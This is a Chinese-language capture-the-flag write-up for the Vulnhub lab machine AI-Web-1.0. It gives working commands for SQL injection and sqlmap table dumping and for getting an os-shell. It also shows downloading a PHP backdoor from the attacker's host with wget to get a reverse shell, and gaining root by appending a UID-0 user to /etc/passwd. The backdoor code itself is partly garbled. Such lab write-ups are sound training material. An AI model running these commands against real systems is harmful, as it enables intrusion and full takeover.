Vulnhub靶机:AI-Web-1.0

标签SQL注入sqlmap写shell反弹shell写入passwd提权

0x00 环境准备

下载地址:https://www.vulnhub.com/entry/ai-web-1,353/
flag数量:1
攻击机:kali
攻击机地址:192.168.5.3
靶机描述:

Difficulty: Intermediate

Network: DHCP (Automatically assign)

Network Mode: NAT

This box is designed to test skills of penetration tester. The goal is simple. Get flag from /root/flag.txt. Enumerate the box, get low privileged shell and then escalate privilege to root. For any hint please tweet on @arif_xpress

0x01 信息搜集

1.探测靶机地址

命令:arp-scan -l

靶机地址是192.168.5.5

2.探测靶机开放端口

命令:nmap -sV -p- 192.168.5.5

只开放了80端口,看一下

啥也没有,扫描一下目录吧

3.目录扫描

命令:dirb http://192.168.5.5 -X .php,.html,.txt

使用默认字典扫描出两个页面,看看robots.txt页面

0x02 SQL注入

在robots.txt中发现了两个目录,分别是http://192.168.5.5/m3diNf0/http://192.168.5.5/se3reTdir777/uploads/。但是访问这两个路径都是403,试试访问http://192.168.5.5/se3reTdir777/

是个查询页面,应该有sql注入,fuzz一下

果然有sql注入,经过测试,这是一个单引号闭合的显错注入,3个字段,注释要用#不能用--+
数据库:uid=1.1' union select 1,2,database() #

为了方便,下面用sqlmap进行注入
数据表:sqlmap -u http://192.168.5.5/se3reTdir777/ --data "uid=1&Operation=Submit" --batch -v 3 --level 3 -D aiweb1 --tables

有两个数据表,user表sqlmap -u http://192.168.5.5/se3reTdir777/ --data "uid=1&Operation=Submit" --batch -v 3 --level 3 -D aiweb1 -T user --columns

显然不是我们想要的数据。再看一下systemUser表
systemUser表sqlmap -u http://192.168.5.5/se3reTdir777/ --data "uid=1&Operation=Submit" --batch -v 3 --level 3 -D aiweb1 -T systemUser --dump

这里有三组账号密码,看样子密码应该是base64加密,解密一下。
解密后的账号分别是:
t00r \ FakeUserPassw0rd
aiweb1pwn \ MyEvilPass_f908sdaf9_sadfasf0sa
u3er \ N0tThis0neAls0

0x03 sqlmap写shell

拿到了账号密码,但是并没有登录页面。看了一下表哥的文章,表哥又扫描了目录。那就再把上面的目录扫描一下,看看有没有子目录。
分别扫描:http://192.168.5.5/m3diNf0/http://192.168.5.5/se3reTdir777/uploads/http://192.168.5.5/se3reTdir777/子目录。
http://192.168.5.5/m3diNf0/目录下发现了info.php文件

访问看一下

是phpinfo页面,在这个页面上有绝对路径,如果路径有写权限的话,可以使用sqlmap写一个shell进去。

这里可以看到,网站的根目录是/home/www/html/web1x443290o2sdf92213。刚才在robots.txt文件中看到了http://192.168.5.5/se3reTdir777/uploads/目录,uploads目录虽然不能访问,但是一般都具有写权限,尝试把shell写入到uploads目录下,uploads的绝对路径是/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/
开始写入,命令:sqlmap -u http://192.168.5.5/se3reTdir777/ --data "uid=1&Operation=Submit" --os-shell

写入成功

0x04 反弹shell

写入shell成功了,但是用着不太方便,再反弹一个shell吧。这里通过在靶机中wget一个php后门来反弹shell。
①首先制作一个php后门文件

代码:

&3 2>&3");
?>

②在kali上运行临时服务器服务,命令:python -m SimpleHTTPServer 8000

③在靶机上下载文件,命令:wget http://192.168.5.3:8000/web1.php

④在kali上监听4444端口,命令:nc -lvp 4444

⑤运行靶机上的web1.php

kali上已经接收到反弹的shell了

0x05 提权

反弹shell后,whoami查询当前身份,是www-data
查询/etc/passwd文件属性,发现拥有者是www-data,并且拥有读写权限

可以通过向/etc/passwd文件中添加用户来提权:
①使用kali的openssl工具加密密码,比如我想创建一个用户名是dn的用户,密码是111111。命令就是:openssl passwd -1 -salt dn 111111

②将刚才生成的密码进行整理,生成/etc/passwd文件格式的字符串:dn:$1$dn$af67d2P6bAKTKU2Y5vwMV0:0:0::/root:/bin/bash
第一个冒号之前是用户名,第一个冒号之后就是刚才生成的密码,其余的照写就好了。

③在靶机上将上面这段字符串追加到/etc/passwd文件里面,命令:echo 'dn:$1$dn$af67d2P6bAKTKU2Y5vwMV0:0:0::/root:/bin/bash' >> /etc/passwd

注意这里一定要用单引号,因为字符中有$符号,如果使用双引号会导致$被当做变量去解析。我在这弄了半天。

④然后在靶机上使用python弹一个交互式shell,我用python2报错,就用python3了,命令:python3 -c "import pty;pty.spawn('/bin/bash')"

⑤输入su dn,输入密码

flag在/root下,切换到/root目录拿到flag

0x06 小结

该靶机相对比较简单,从目录扫描开始,发现注入点,然后再次目录扫描发现phpinfo文件,使用sqlmap+phpinfo写shell,getshell之后反弹shell,提权也非常简单,就是向/etc/passwd文件中追加root用户即可。只是sql注入查到的3组用户名密码并没有什么用。

由于我不会每天都登录,所以有什么私信或者评论我都不能及时回复,如果想要联系我最好给我发邮件,邮箱:Z2djMjUxMTBAMTYzLmNvbQ==,如果发邮件请备注“”


参考链接

1.vulnhub靶机AI-WEB-1.0渗透测试
2.vulnhub之AI-web1
3.使用sqlmap曲折渗透某服务器

你可能感兴趣的:(Vulnhub靶机:AI-Web-1.0)